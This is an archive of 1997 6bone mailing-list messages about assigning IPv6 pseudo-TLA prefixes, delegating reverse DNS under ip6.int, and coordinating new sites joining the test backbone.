NTR.Net Corporation
--
REALITY.SYS corrupted. Reboot universe? [Y n]

From majordom@ISI.EDU  Wed Aug 20 11:16:08 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <970820091608.ZM15716@rama.imag.fr>
Date: Wed, 20 Aug 1997 09:16:08 +0200
In-Reply-To: bmanning@ISI.EDU
        "Re: three letter acronyms (TLAs) (fwd)" (Aug 19,  4:02pm)
References: <199708192302.AA27192@zed.isi.edu>
X-Mailer: Z-Mail (4.0.1 13Jan97)
To: bmanning@ISI.EDU, 6bone@ISI.EDU
Subject: Re: three letter acronyms (TLAs) (fwd)
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On Aug 19,  4:02pm, bmanning@ISI.EDU wrote:
> Subject: Re: three letter acronyms (TLAs) (fwd)

> > >DIGITAL-CA/US   3FFE:1200::/24
> > >BAY/US          3FFE:1300::/24
> > >UNI-C/DK        3FFE:1400::/24
>
> and Matt Crawford points out that we have too many zeros here for /24s.


>
> So,
> 	IMHO, I'll move CICnet/US to 3FFE:1500::
> 	or	        CICnet/US to 3FFE:0900::
>
> and ask if we are going on /32 bounds or not.
>
>
> Your feedback is appreciated.

On Aug 19,  2:47pm, Matt Crawford wrote:
> Subject: Re: tla delegations
> > 0.0.8.0.e.f.f.3.ip6.int.        129600  NS      orb.isi.edu.
> > 0.0.8.0.e.f.f.3.ip6.int.        129600  NS      NS.isi.edu.
> > 0.0.f.0.e.f.f.3.ip6.int.        129600  NS      avarice.inner.net.
> > 0.0.f.0.e.f.f.3.ip6.int.        129600  NS      buzzcut.ipv6.nrl.navy.mil.
>
> Whoa!  Too many zeros!  These are supposed to be /24's you're delegating.
>
> 					Matt
>-- End of excerpt from Matt Crawford



The pTLA (pseudo TLA) are /24. Their correct representation as prefixes is
for example 3ffe:0300::/24

But when you delegate the reverse for DNS, it should be:

3.0.e.f.f.3.ip6.int.


	- Alain.

From majordom@ISI.EDU  Wed Aug 20 20:34:42 1997
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To: bmanning@ISI.EDU
Cc: 6bone@ISI.EDU
Subject: Re: tla delegations   
In-Reply-To: Your message of Tue, 19 Aug 1997 10:42:09 -0700.
From: Erik-Jan Bos <erik-jan.bos@surfnet.nl>
X-Url: http://www.surfnet.nl/surfnet/persons/bos/
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Bill,

> 36% dig @ns 0.0.f.0.e.f.f.3.ip6.int. ns
> 
> ; <<>> DiG 2.0 <<>> @ns 0.0.f.0.e.f.f.3.ip6.int. ns 
> ;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 11
> ;; flags: qr rd ra ; Ques: 1, Ans: 2, Auth: 0, Addit: 2
> ;; QUESTIONS: 
> ;;      0.0.f.0.e.f.f.3.ip6.int, type = NS, class = IN
> 
> ;; ANSWERS:
> 0.0.f.0.e.f.f.3.ip6.int.        129600  NS      avarice.inner.net.
> 0.0.f.0.e.f.f.3.ip6.int.        129600  NS      buzzcut.ipv6.nrl.navy.mil.
> 
> ....
> 
> Next?

6.0.e.f.f.3.ip6.int.   IN NS    zesbot.ipv6.surfnet.nl.
6.0.e.f.f.3.ip6.int.   IN NS    ns1.surfnet.nl.

Next?

__
 
Erik-Jan.

From majordom@ISI.EDU  Thu Aug 21 12:45:15 1997
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Date: Thu, 21 Aug 1997 19:45:15 -0700
From: WALTER GROSSENBACHER <b20gross@isbe.ch>
Organization: Ingenieurschule Bern HTL
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Hi !
We are a Swiss Engineer School and we would like to participate the
6bone for test reasons. 
One of our problems is, that we need to know where we can connect the
6bone. 
An other problem we've got is, that we don't know which ASN number we
have to use (is it AS559 for SWITCH ?).
And last but not least : Where and how do we got to register our IPv6
addresses?
I thank you for your assistance !

			Best regards

			Walter Grossenbacher

From majordom@ISI.EDU  Thu Aug 21 23:58:56 1997
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Date: Thu, 21 Aug 1997 21:58:56 +0200
In-Reply-To: WALTER GROSSENBACHER <b20gross@isbe.ch>
        "Where do I find my most appropriate attachment point on the 6bone ?" (Aug 21,  7:45pm)
References: <33FCFD3B.5788@isbe.ch>
X-Mailer: Z-Mail (4.0.1 13Jan97)
To: 6bone@ISI.EDU, WALTER GROSSENBACHER <b20gross@isbe.ch>
Subject: Re: Where do I find my most appropriate attachment point on the 6bone ?
Cc: Simon.Leinen@switch.ch
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Ask Simon.Leinen@switch.ch from SWITCH. He already has a 6bone site.


On Aug 21,  7:45pm, WALTER GROSSENBACHER wrote:
> Subject: Where do I find my most appropriate attachment point on the 6bone
> Hi !
> We are a Swiss Engineer School and we would like to participate the
> 6bone for test reasons.
> One of our problems is, that we need to know where we can connect the
> 6bone.
> An other problem we've got is, that we don't know which ASN number we
> have to use (is it AS559 for SWITCH ?).
> And last but not least : Where and how do we got to register our IPv6
> addresses?
> I thank you for your assistance !
>
> 			Best regards
>
> 			Walter Grossenbacher
>-- End of excerpt from WALTER GROSSENBACHER



From majordom@ISI.EDU  Thu Aug 21 08:34:20 1997
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Posted-Date: Thu, 21 Aug 1997 15:34:20 -0700 (PDT)
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Subject: Re: Where do I find my most appropriate attachment point on the 6bone ?
To: b20gross@isbe.ch (WALTER GROSSENBACHER)
Date: Thu, 21 Aug 1997 15:34:20 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <33FCFD3B.5788@isbe.ch> from "WALTER GROSSENBACHER" at Aug 21, 97 07:45:15 pm
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> Hi !
> One of our problems is, that we need to know where we can connect the
> 6bone. 
> An other problem we've got is, that we don't know which ASN number we
> have to use (is it AS559 for SWITCH ?).
> And last but not least : Where and how do we got to register our IPv6
> addresses?
> I thank you for your assistance !
> 
> 			Best regards
> 
> 			Walter Grossenbacher

A couple of pointers might help.

RFC 1897 is useful
www.6bone.net is very helpful

-- 
--bill

From majordom@ISI.EDU  Fri Aug 22 03:46:06 1997
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Subject: moving on....
To: 6bone@ISI.EDU, Erik-Jan.Bos@surfnet.nl, guyd@uk.uu.net
Date: Fri, 22 Aug 1997 10:46:06 -0700 (PDT)
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;; ANSWERS:
6.0.e.f.f.3.ip6.int.    129600  NS      ns1.surfnet.nl.
6.0.e.f.f.3.ip6.int.    129600  NS      zesbot.ipv6.surfnet.nl.

;; ADDITIONAL RECORDS:
ns1.surfnet.nl. 345365  A       192.87.106.101
zesbot.ipv6.surfnet.nl. 16268   28      ???

zesbot.ipv6.surfnet.nl. 16268   28      ???

zesbot.ipv6.surfnet.nl. 16268   A       192.87.110.60
...

;; ANSWERS:
1.1.e.f.f.3.ip6.int.    129600  NS      ns1.pipex.net.
1.1.e.f.f.3.ip6.int.    129600  NS      ns0.pipex.net.

;; ADDITIONAL RECORDS:
ns1.pipex.net.  368620  A       158.43.192.7
ns0.pipex.net.  408840  A       158.43.128.8
ns0.pipex.net.  27036   A       158.43.192.7


	(whos that using AAAA records!) 

--bill

From majordom@ISI.EDU  Sat Aug 23 13:13:30 1997
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Date: Sat, 23 Aug 1997 05:13:30 +0800 (SGT)
From: Lai Zit Seng <lzs@pobox.com>
Reply-To: lzs@pobox.com
To: Bob Fink <rlfink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>
Subject: Re: call for 6bone TLA participants for Oct. 1 renumbering of backbone 
In-Reply-To: <v03102802b018bdf47b8c@[195.27.195.136]>
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Hello,

I would like to request a pTLA for the National University of Singapore
(NUS). We already have a 6bone gateway running on an IPv6 capable router
doing BGPv4 with IPv6 extensions. We also have IPv6 routers running on
FreeBSD, Linux and Solaris on our internal network. We currently connect
to CISCO and provide IPv6 connectivity to several islands in NUS.

We have several projects dealing with IPsec, RSVP, mobile IPv6 and OSPF in
progress. We will be very happy to be directly involved in 6bone backbone
operations to provide a better testbed for our projects as well as to gain
operation experience. We can manage with this transition and beyond.

We will be glad to provide 6bone connectivity to other sites, especially
for those in this region.

If you have any questions regarding our application, please direct them to
me.

Regards,

.lzs


On Thu, 14 Aug 1997, Bob Fink wrote:

> Per the 6bone backbone ad hoc meeting in Munich, I am calling for those
> interested in being an early 6bone test pTLA (i.e., pseudo TLAs assigned
> from the NLA1 field of the 6bone Test address allocation) when the
> renumbering to the new Aggregation-based unicast address format is started
> on 1 October.
> 
> Requirements are willingness and ability to actively participate in this
> timeframe, and demonstrated experience with IPv6 and the 6bone.
> 
> Please send your requests to become a 6bone pTLA to the 6bone mail list
> with text sufficient to describe your interest and qualifications.
> 
> I will assign test pTLAs to all reasonable request at this time.
> 
> Thanks,
> 
> Bob
> 
> 
> 
> 




From majordom@ISI.EDU  Mon Aug 25 01:22:05 1997
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From: Bob Fink <RLFink@lbl.gov>
Subject: returning from travel and pTLAs
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I have just returned to the office after two weeks of travel in Europe for
IETF and other business.

Sorry to have been unresponsive to the backbone activity while I was gone,
I'll send email to the list on new pTLAs etc. later today.


Thanks,

Bob



From majordom@ISI.EDU  Mon Aug 25 07:10:10 1997
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Date: Mon, 25 Aug 1997 12:10:10 -0500 (CDT)
From: Alan Halachmi <halacha@montgomerybell.com>
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To: 6bone@ISI.EDU
Cc: rmc@telalink.net
Subject: Connection
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Hey,

	I'm looking for a 6bone connection for an ISP and their "intern"
program.  The ISP is called Telalink and is a medium sized ISP running 4
out-bound T's.  We are located in Nashville, TN and would like to get
connected to the 6bone as soon as we can.  Everyone here is excited to get
connected and begin learning about this exciting new technology.  If there
is anyone who could help us connect (we need a connection point) we'd
really appreciate that.

Alan Halachmi
mailto:HalachA@MontgomeryBell.com


From majordom@ISI.EDU  Mon Aug 25 09:52:21 1997
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To: Bob Fink <rlfink@lbl.gov>
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Subject: Re: call for 6bone TLA participants for Oct. 1 renumbering of backbone 
In-Reply-To: Your message of "Thu, 14 Aug 1997 22:32:23 +0200."
             <v03102802b018bdf47b8c@[195.27.195.136]> 
Date: Mon, 25 Aug 1997 13:52:21 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Bob and 6bone folks,

We would like to be one of early 6bone test pTLAs. 

Interests:

Our immediate interests are in implementing IPv6 routing
protocols on MRT (see details at http://www.merit.edu/~mrt/),
expanding our tools in MRT with IPv6, and also analyzing the
early 6bone with the tools to provide useful information for
developing IPv6/6bone.

We are also going to have an early IPv6 experience with our
operational staffs in managing our 6bone connection,
participating in early trials, and also providing an application
over the 6bone.

Qualifications:

We have implemented RIPng on MRT and tested it over 6bone with a
couple of implementations. 

We have ported our code on IPv6 kernels developed by Sun, INRIA,
Linux, NRL and WIDE, and are keeping cooperative with these
developers by developing on their kernels, as well as other
router vendors by testing interoperability over the 6bone.

Now we are finalizing an implementation of BGP4+ available on
MRT, which includes a couple of BGP4+ tools to help a test and
analysis on routing.

We are also planing to move our 6bone router to our NOC where we
can manage it well to provide a more stable 6bone connection for
our neighborhood who wants to join the 6bone.

I'm now working on MRT and 6bone at Merit, and can actively
participate in this transition with our team members and of
other Merit projects, GateD and so on.


Thank you,
Masaki Hirabaru
Merit Network, Inc.

> Date: Thu, 14 Aug 1997 22:32:23 +0200
> To: 6bone@ISI.EDU (6BONE Mailer)
> From: Bob Fink <rlfink@lbl.gov>
> Subject: call for 6bone TLA participants for Oct. 1 renumbering of
>  backbone 
> Cc: RLFink@lbl.gov (Bob Fink LBNL)
> Sender: owner-6bone@ISI.EDU
> Precedence: bulk
> 
> Per the 6bone backbone ad hoc meeting in Munich, I am calling for those
> interested in being an early 6bone test pTLA (i.e., pseudo TLAs assigned
> from the NLA1 field of the 6bone Test address allocation) when the
> renumbering to the new Aggregation-based unicast address format is started
> on 1 October.
> 
> Requirements are willingness and ability to actively participate in this
> timeframe, and demonstrated experience with IPv6 and the 6bone.
> 
> Please send your requests to become a 6bone pTLA to the 6bone mail list
> with text sufficient to describe your interest and qualifications.
> 
> I will assign test pTLAs to all reasonable request at this time.
> 
> Thanks,
> 
> Bob
> 
> 


From majordom@ISI.EDU  Mon Aug 25 11:47:30 1997
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Date: Mon, 25 Aug 1997 18:47:30 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: pTLA assignments
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

I have sorted thru the various pTLA requests and am assigning more below.

First, the corrected original list (ISI-LAP was 0800, should have been
0900) of original pTLA assignments is:

TELEBIT/DK	3FFE:0100::/24
SICS/SE		3FFE:0200::/24
G6/FR		3FFE:0300::/24
JOIN/DE		3FFE:0400::/24
WIDE/JP		3FFE:0500::/24
SURFNET/NL	3FFE:0600::/24
ESNET/US	3FFE:0700::/24
CICNET/US	3FFE:0800::/24
ISI-LAP/US	3FFE:0900::/24
NWNET/US	3FFE:0A00::/24
VIAGENIE/CA	3FFE:0B00::/24
CISCO/US	3FFE:0C00::/24
ANS/US		3FFE:0D00::/24
IFB/UK		3FFE:0E00::/24
NRL/US		3FFE:0F00::/24
CSELT/IT	3FFE:1000::/24
UUNET/UK	3FFE:1100::/24
DIGITAL-CA/US	3FFE:1200::/24
BAY/US		3FFE:1300::/24
UNI-C/DK	3FFE:1400::/24


And the new pTLAs are:

UO		3FFE:1500::/24
NUS		3FFE:1600::/24
MREN		3FFE:1700::/24
INTEROP		3FFE:1800::/24
3COM		3FFE:1900::/24
CAIRN		3FFE:1A00::/24
VERIO		3FFE:1B00::/24
MERIT		3FFE:1C00::/24


And as Craig Metz is willing to test pTLA 0:

INNER		3FFE:0000::/24


Thanks,

Bob



From majordom@ISI.EDU  Tue Aug 26 03:07:55 1997
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Date: Tue, 26 Aug 1997 10:07:55 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: update pTLA list
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Missed the ATT-LABS-EUROPE folk on the last list:


INNER		3FFE:0000::/24
INNER		3FFE:0000::/24
SICS/SE		3FFE:0200::/24
G6/FR		3FFE:0300::/24
JOIN/DE		3FFE:0400::/24
WIDE/JP		3FFE:0500::/24
SURFNET/NL	3FFE:0600::/24
ESNET/US	3FFE:0700::/24
CICNET/US	3FFE:0800::/24
ISI-LAP/US	3FFE:0900::/24
NWNET/US	3FFE:0A00::/24
VIAGENIE/CA	3FFE:0B00::/24
CISCO/US	3FFE:0C00::/24
ANS/US		3FFE:0D00::/24
IFB/UK		3FFE:0E00::/24
NRL/US		3FFE:0F00::/24
CSELT/IT	3FFE:1000::/24
UUNET/UK	3FFE:1100::/24
DIGITAL-CA/US	3FFE:1200::/24
BAY/US		3FFE:1300::/24
UNI-C/DK	3FFE:1400::/24
UO		3FFE:1500::/24
NUS		3FFE:1600::/24
MREN		3FFE:1700::/24
INTEROP		3FFE:1800::/24
3COM		3FFE:1900::/24
CAIRN		3FFE:1A00::/24
VERIO		3FFE:1B00::/24
MERIT		3FFE:1C00::/24
ATT-LABS-EUROPE 3FFE:1D00::/24



Thanks,

Bob



From majordom@ISI.EDU  Wed Aug 27 00:37:34 1997
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Date: Wed, 27 Aug 1997 07:37:34 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: current pTLA list - 27Aug97
Sender: owner-6bone@ISI.EDU
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Status: RO

Have added SWISS-TELECOM to the list.  Also note that I'm now using the
6bone registry name for the allocation name, and have noted where there is
no 6bone registry entry yet.

Also, the 6bone home page now has a pointer to the pTLA list:

	http://www.6bone.net/6bone_pTLA_list.html



INNER                3FFE:0000::/24
TELEBIT              3FFE:0100::/24
SICS                 3FFE:0200::/24
G6                   3FFE:0300::/24
JOIN                 3FFE:0400::/24
WIDE                 3FFE:0500::/24
SURFNET              3FFE:0600::/24
ESNET                3FFE:0700::/24
CICNET               3FFE:0800::/24
ISI-LAP              3FFE:0900::/24
NWNET                3FFE:0A00::/24
VIAGENIE             3FFE:0B00::/24
CISCO                3FFE:0C00::/24
ANS                  3FFE:0D00::/24
IFB                  3FFE:0E00::/24
NRL/US               3FFE:0F00::/24
CSELT                3FFE:1000::/24
UUNET                3FFE:1100::/24
DIGITAL-CA           3FFE:1200::/24
BAY                  3FFE:1300::/24
UNI-C                3FFE:1400::/24
UO                   3FFE:1500::/24
NUS-IRDU             3FFE:1600::/24
MREN                 3FFE:1700::/24 (no 6bone registry entry)
INTEROP              3FFE:1800::/24
3COM                 3FFE:1900::/24 (no 6bone registry entry)
CAIRN                3FFE:1A00::/24
VERIO                3FFE:1B00::/24 (no 6bone registry entry)
MERIT                3FFE:1C00::/24
ATT-LABS-EUROPE      3FFE:1D00::/24
SWISS-TELECOM        3FFE:1E00::/24


Thanks,

Bob



From majordom@ISI.EDU  Wed Aug 27 08:58:47 1997
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From: davidk@ISI.EDU
Posted-Date: Wed, 27 Aug 1997 15:58:47 -0700 (PDT)
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Subject: ftp registry removed
To: 6bone@ISI.EDU
Date: Wed, 27 Aug 1997 15:58:47 -0700 (PDT)
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Hi,

As agreed earlier, the old ftp registry at RIPE has been removed and
cannot be updated anymore.

In case you have a need to review the old data, it will continue to be
available in a tar archive at:

ftp://whois.6bone.net/6bone/old_RIPE_ftp_registry.tar.gz

You can find a dump of the full dataset of the new registry at the same
location.

I hope this helps,

David K.
---

From majordom@ISI.EDU  Wed Aug 27 23:29:47 1997
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Date: Thu, 28 Aug 1997 06:29:47 -0700
To: davidk@ISI.EDU, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: ftp registry removed
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David,

At 3:58 PM -0700 8/27/97, davidk@ISI.EDU wrote:
>Hi,
>
>As agreed earlier, the old ftp registry at RIPE has been removed and
>cannot be updated anymore.
>
>In case you have a need to review the old data, it will continue to be
>available in a tar archive at:
>
>ftp://whois.6bone.net/6bone/old_RIPE_ftp_registry.tar.gz
>
>You can find a dump of the full dataset of the new registry at the same
>location.
>
>I hope this helps,


Thanks for closing this out.  I have changed the 6bone home page pointer to
the old registry to now point to this tar file (it's at the very bottom of
the page).


Thanks,

Bob



From majordom@ISI.EDU  Wed Aug 27 23:48:57 1997
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Date: Thu, 28 Aug 1997 06:48:57 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: current pTLA list - 28Aug97
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Have added NETCOM-UK and SWITCH to the list.

	http://www.6bone.net/6bone_pTLA_list.html



INNER                3FFE:0000::/24
TELEBIT              3FFE:0100::/24
SICS                 3FFE:0200::/24
G6                   3FFE:0300::/24
JOIN                 3FFE:0400::/24
WIDE                 3FFE:0500::/24
SURFNET              3FFE:0600::/24
ESNET                3FFE:0700::/24
CICNET               3FFE:0800::/24
ISI-LAP              3FFE:0900::/24
NWNET                3FFE:0A00::/24
VIAGENIE             3FFE:0B00::/24
CISCO                3FFE:0C00::/24
ANS                  3FFE:0D00::/24
IFB                  3FFE:0E00::/24
NRL/US               3FFE:0F00::/24
CSELT                3FFE:1000::/24
UUNET                3FFE:1100::/24
DIGITAL-CA           3FFE:1200::/24
BAY                  3FFE:1300::/24
UNI-C                3FFE:1400::/24
UO                   3FFE:1500::/24
NUS-IRDU             3FFE:1600::/24
MREN                 3FFE:1700::/24 (no 6bone registry entry)
INTEROP              3FFE:1800::/24
3COM                 3FFE:1900::/24 (no 6bone registry entry)
CAIRN                3FFE:1A00::/24
VERIO                3FFE:1B00::/24 (no 6bone registry entry)
MERIT                3FFE:1C00::/24
ATT-LABS-EUROPE      3FFE:1D00::/24
SWISS-TELECOM        3FFE:1E00::/24
NETCOM-UK            3FFE:1F00::/24
SWITCH               3FFE:2000::/24


Thanks,

Bob



From majordom@ISI.EDU  Fri Aug 29 12:40:13 1997
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Date: Fri, 29 Aug 1997 10:40:13 +0200 (MET DST)
From: Andrea Chierici <andrea.chierici@cnaf.infn.it>
To: 6bone@ISI.EDU
Subject: A question about TLA assignment
Message-Id: <Pine.OSF.3.95.970829103813.25079B-100000@dxcnaf.cnaf.infn.it>
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Hi folks,
during the 6bone backbone meeting in Munich it was told to me from Bob
that the 20 already assigned TLA had to be the only one for the transition
period... Now I see that a lot of new sites are joining the group and I
wonder why.

Thanks,
				Andrea
-----------------------------------------
Andrea Chierici, Computer Science Student
INFN-CNAF 
Bologna ITALY
-----------------------------------------


From majordom@ISI.EDU  Fri Aug 29 00:05:14 1997
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Date: Fri, 29 Aug 1997 07:05:14 -0700
To: Andrea Chierici <andrea.chierici@cnaf.infn.it>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: A question about TLA assignment
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Andrea,

At 1:40 AM -0700 8/29/97, Andrea Chierici wrote:
>Hi folks,
>during the 6bone backbone meeting in Munich it was told to me from Bob
>that the 20 already assigned TLA had to be the only one for the transition
>period... Now I see that a lot of new sites are joining the group and I
>wonder why.

At the backbone meeting it was agreed to NOT close off the list of those
participating as it could lead to a better structured backbone from the
start.

See the minutes below.


Thanks,

Bob

========
X-Sender:  (Unverified)
Mime-Version: 1.0
Date: Thu, 14 Aug 1997 22:31:52 +0200
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <rlfink@lbl.gov>
Subject: 6bone backbone planning & move to testing aggregation address
 format
Cc: RLFink@lbl.gov (Bob Fink LBNL)

6bone backbone planning meeting - 14 August 1997, Munich, DE.

Alain Durand held a BOF for those interested in 6bone backbone planning
under the new test aggregation address format.  There were 27 people in
attendance.

Alain Durand (G6, FR) spoke on the need to minimize backone tunnels to
clean up routing.  There were comments for this, explaing the reasons why
it is needed at this time, and comments as to why we shouldn't worry about
this.

Stephen Stuart (Digital-ca, US) spoke on reasons to cleanup peering, and to
have multiple interconnect points for ISP TLA's.

Matt Crawford showed various multi-prefix scenarios.

There was a general consensus that there was a need to simplify the 6bone
bacbone topology.

Bob Fink (ESnet/LBNL, US) then led a discussion to generate a plan for
readdressing and backbone restructuring. This discussion led to the
following general agreements:

1. that we assign Testing pTLAs (i.e., pseudo TLAs assigned from the NLA1
field of the 6bone Test address allocation) from the Test Aggregation
addressing I-D as follows:

TELEBIT/DK	3FFE:0100::/24
SICS/SE		3FFE:0200::/24
G6/FR		3FFE:0300::/24
JOIN/DE		3FFE:0400::/24
WIDE/JP		3FFE:0500::/24
SURFNET/NL	3FFE:0600::/24
ESNET/US	3FFE:0700::/24
CICNET/US	3FFE:0800::/24
ISI-LAP/US	3FFE:0800::/24
NWNET/US	3FFE:0A00::/24
VIAGENIE/CA	3FFE:0B00::/24
CISCO/US	3FFE:0C00::/24
ANS/US		3FFE:0D00::/24
IFB/UK		3FFE:0E00::/24
NRL/US		3FFE:0F00::/24
CSELT/IT	3FFE:1000::/24
UUNET/UK	3FFE:1100::/24
DIGITAL-CA/US	3FFE:1200::/24
BAY/US		3FFE:1300::/24
UNI-C/DK	3FFE:1400::/24

Note: we started at 1 because Bob is nervous about using 0 :-)

2. that we establish October 1 as the start date for renumbering the
backbone to testing aggregation addresses, with the goal of November 1 for
coming online.

3. that all backbone sites will peer with BGP4+, and only BGP4+.

4. that the old testing addresses (RFC 1897) be discontinued on the
backbone as early as October 1 (by sites already renumbered) and not later
than November 1 when the newly addressed backbone is scheduled to be fully
online.

5. that a call for new pTLA candidates be issued immediately, for inclusion
in the October 1 renumbering/restructuring, where the criteria to be
applied for inclusion is willingness and ability to actively participate in
this timeframe, and demonstrated experience with IPv6 and the 6bone.

6. that a call for existing backbone sites (given a pTLA above) be made to
decide themselves if they are able to participate in this renumbering/
resructuring effort, and be encouraged to give back their pTLA assignment
for now if they aren't able to participate.  (Note:  any site doing this
can easily reapply at a later time.)

-end



From majordom@ISI.EDU  Fri Aug 29 01:43:08 1997
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Date: Fri, 29 Aug 1997 08:43:08 -0700 (PDT)
Message-Id: <199708291543.IAA08371@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: Andrea Chierici <andrea.chierici@cnaf.infn.it>
Cc: 6bone@ISI.EDU
Subject: A question about TLA assignment
In-Reply-To: <Pine.OSF.3.95.970829103813.25079B-100000@dxcnaf.cnaf.infn.it>
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>>>>> "Andrea" == Andrea Chierici <andrea.chierici@cnaf.infn.it> writes:

    Andrea> Hi folks, during the 6bone backbone meeting in Munich it
    Andrea> was told to me from Bob that the 20 already assigned TLA
    Andrea> had to be the only one for the transition period... Now I
    Andrea> see that a lot of new sites are joining the group and I
    Andrea> wonder why.

Don't worry. Just ask for one. There are still 224 availiable.

  Pedro.

From majordom@ISI.EDU  Fri Aug 29 04:34:03 1997
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Date: Fri, 29 Aug 1997 11:34:03 -0700 (PDT)
Message-Id: <199708291834.LAA08399@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: Bob Fink <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU
Subject: current pTLA list - 28Aug97
In-Reply-To: <v03102802b02b304204ae@[128.3.9.22]>
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>>>>> "Bob" == Bob Fink <RLFink@lbl.gov> writes:

    Bob> CISCO 3FFE:0C00::/24

Bob,

I'd like to carve addresses from a separate TLA for interconnects (i.e. a
TLA not associated with any site). It would be nice if somebody will step
in and administer such a thing... if not i guess i'll have to volunteer.

  Pedro.

From majordom@ISI.EDU  Fri Aug 29 07:17:15 1997
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From: bmanning@ISI.EDU
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Subject: Re: current pTLA list - 28Aug97
To: roque@cisco.com (Pedro Marques)
Date: Fri, 29 Aug 1997 14:17:15 -0700 (PDT)
Cc: RLFink@lbl.gov, 6bone@ISI.EDU
In-Reply-To: <199708291834.LAA08399@pedrom-ultra.cisco.com> from "Pedro Marques" at Aug 29, 97 11:34:03 am
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> 
> >>>>> "Bob" == Bob Fink <RLFink@lbl.gov> writes:
> 
>     Bob> CISCO 3FFE:0C00::/24
> 
> Bob,
> 
> I'd like to carve addresses from a separate TLA for interconnects (i.e. a
> TLA not associated with any site). It would be nice if somebody will step
> in and administer such a thing... if not i guess i'll have to volunteer.
> 
>   Pedro.

I was sort of hoping to use the 0000 range for this but craig beat us
to it.


-- 
--bill

From majordom@ISI.EDU  Fri Aug 29 07:30:02 1997
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Date: Fri, 29 Aug 1997 14:30:02 -0700 (PDT)
Message-Id: <199708292130.OAA08628@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: bmanning@ISI.EDU
Cc: RLFink@lbl.gov, 6bone@ISI.EDU
Subject: Re: current pTLA list - 28Aug97
In-Reply-To: <199708292117.AA07153@zed.isi.edu>
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	<199708292117.AA07153@zed.isi.edu>
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>>>>> "bmanning" == bmanning  <bmanning@ISI.EDU> writes:

    >>  >>>>> "Bob" == Bob Fink <RLFink@lbl.gov> writes:
    >> 
    Bob> CISCO 3FFE:0C00::/24
    >>  Bob,
    >> 
    >> I'd like to carve addresses from a separate TLA for
    >> interconnects (i.e. a TLA not associated with any site). It
    >> would be nice if somebody will step in and administer such a
    >> thing... if not i guess i'll have to volunteer.
    >> 
    >> Pedro.

    bmanning> I was sort of hoping to use the 0000 range for this but
    bmanning> craig beat us to it.

Does that mean you volunteer to administer the interconnect space ? Good.

How will you delegate it ?
I believe the best plan is to just assign /12[6-7] subnets sequentially...

I'm in need of 14 subnets...

  Pedro.

From majordom@ISI.EDU  Fri Aug 29 07:42:03 1997
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Subject: Re: current pTLA list - 28Aug97
To: roque@cisco.com (Pedro Marques)
Date: Fri, 29 Aug 1997 14:42:03 -0700 (PDT)
Cc: bmanning@ISI.EDU, RLFink@lbl.gov, 6bone@ISI.EDU
In-Reply-To: <199708292130.OAA08628@pedrom-ultra.cisco.com> from "Pedro Marques" at Aug 29, 97 02:30:02 pm
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Only if Bob sets aside a Ptla for this... or everyone can get their 
numbers from me!

-- 
--bill

From majordom@ISI.EDU  Fri Aug 29 07:47:25 1997
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Date: Fri, 29 Aug 1997 14:47:25 -0700 (PDT)
Message-Id: <199708292147.OAA08650@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: bmanning@ISI.EDU
Cc: RLFink@lbl.gov, 6bone@ISI.EDU
Subject: Re: current pTLA list - 28Aug97
In-Reply-To: <199708292142.AA07519@zed.isi.edu>
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>>>>> "bmanning" == bmanning  <bmanning@ISI.EDU> writes:

    bmanning> Only if Bob sets aside a Ptla for this... or everyone
    bmanning> can get their numbers from me!

I don't see why he shouldn't... And since the whole idea is to have that
space independent of a particular site getting numbers from you isn't
a proper replacement, imgo...

I've no lack of addressing space either :-)

  Pedro.

From majordom@ISI.EDU  Fri Aug 29 12:17:22 1997
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To: Pedro Marques <roque@cisco.com>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: current pTLA list - 28Aug97 
In-Reply-To: Your message of Fri, 29 Aug 1997 11:34:03 PDT.
             <199708291834.LAA08399@pedrom-ultra.cisco.com> 
Date: Fri, 29 Aug 1997 17:17:22 -0500
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> I'd like to carve addresses from a separate TLA for interconnects (i.e. a
> TLA not associated with any site). It would be nice if somebody will step
> in and administer such a thing... if not i guess i'll have to volunteer.

Pedro,

Y'know, I've been wondering about the scalability of assigning a TLA
per exchange.  Since a gigapop is expected to have no more than
10-100 members, if a gigapop is an exchange of the sort that gets a
TLA, it just isn't going to fly.

Ergo, I'm going to set up my MREN exchange with an pNLA1 of my pTLA
while I think about the implications of having disconnected sets of
exchanges sharing a TLA.

If you want to do likewise and use the same pTLA (I'm willing to do
the record keeping), then one of us can become the first to give back
a pTLA.
				Matt

From majordom@ISI.EDU  Fri Aug 29 12:35:02 1997
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To: Pedro Marques <roque@cisco.com>
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: current pTLA list - 28Aug97 
In-Reply-To: Your message of Fri, 29 Aug 1997 15:24:36 PDT.
             <199708292224.PAA08675@pedrom-ultra.cisco.com> 
Date: Fri, 29 Aug 1997 17:35:02 -0500
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> I wasn't thinking about a TLA per exchange but about a TLA from which
> to allocate addresses to use in exchanges...
> 
> Needless to say nobody should annouce routes for that TLA...

Oh, right, we ran into this same communication difficulty in the last
WG meeting.  You're thinking about exchanges where ISP's peer, and
I'm thinking about exchanges where a bunch of sites band together and
buy their long-haul services from one or more carriers.  The latter
sort of exchange would be expected to issue globally-routable
addresses to its members.
					Matt

